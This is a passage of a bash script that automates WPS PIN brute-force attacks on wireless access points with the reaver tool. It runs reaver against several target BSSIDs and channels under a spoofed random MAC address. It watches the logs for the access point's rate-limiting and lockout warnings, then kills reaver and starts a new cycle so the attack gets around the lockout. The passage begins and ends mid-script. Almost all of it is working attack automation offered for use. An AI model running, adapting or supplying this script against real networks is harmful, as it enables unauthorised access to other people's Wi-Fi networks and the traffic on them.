Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -vv -x 60 -r $RX31:$RY31 --pin=$WPS_PIN31 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R31 == n || $USE_R31 == N ]] && [[ $USE_LONG31 == y || $USE_LONG31 == Y ]] && [[ $USE_PIN31 == y || $USE_PIN31 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN31 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R31 == y || $USE_R31 == Y ]] && [[ $USE_LONG31 == y || $USE_LONG31 == Y ]] && [[ $USE_PIN31 == y || $USE_PIN31 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX31" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY31"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -r $RX31:$RY31 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN31 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE31 == n ] || [ $KEEP_FILE31 == N ]; then

          rm VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R32 == n || $USE_R32 == N ]] && [[ $USE_LONG32 == n || $USE_LONG32 == N ]] && [[ $USE_PIN32 == n || $USE_PIN32 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R32 == y || $USE_R32 == Y ]] && [[ $USE_LONG32 == n || $USE_LONG32 == N ]] && [[ $USE_PIN32 == n || $USE_PIN32 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX32" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY32"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -vv -x 60 -r $RX32:$RY32 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

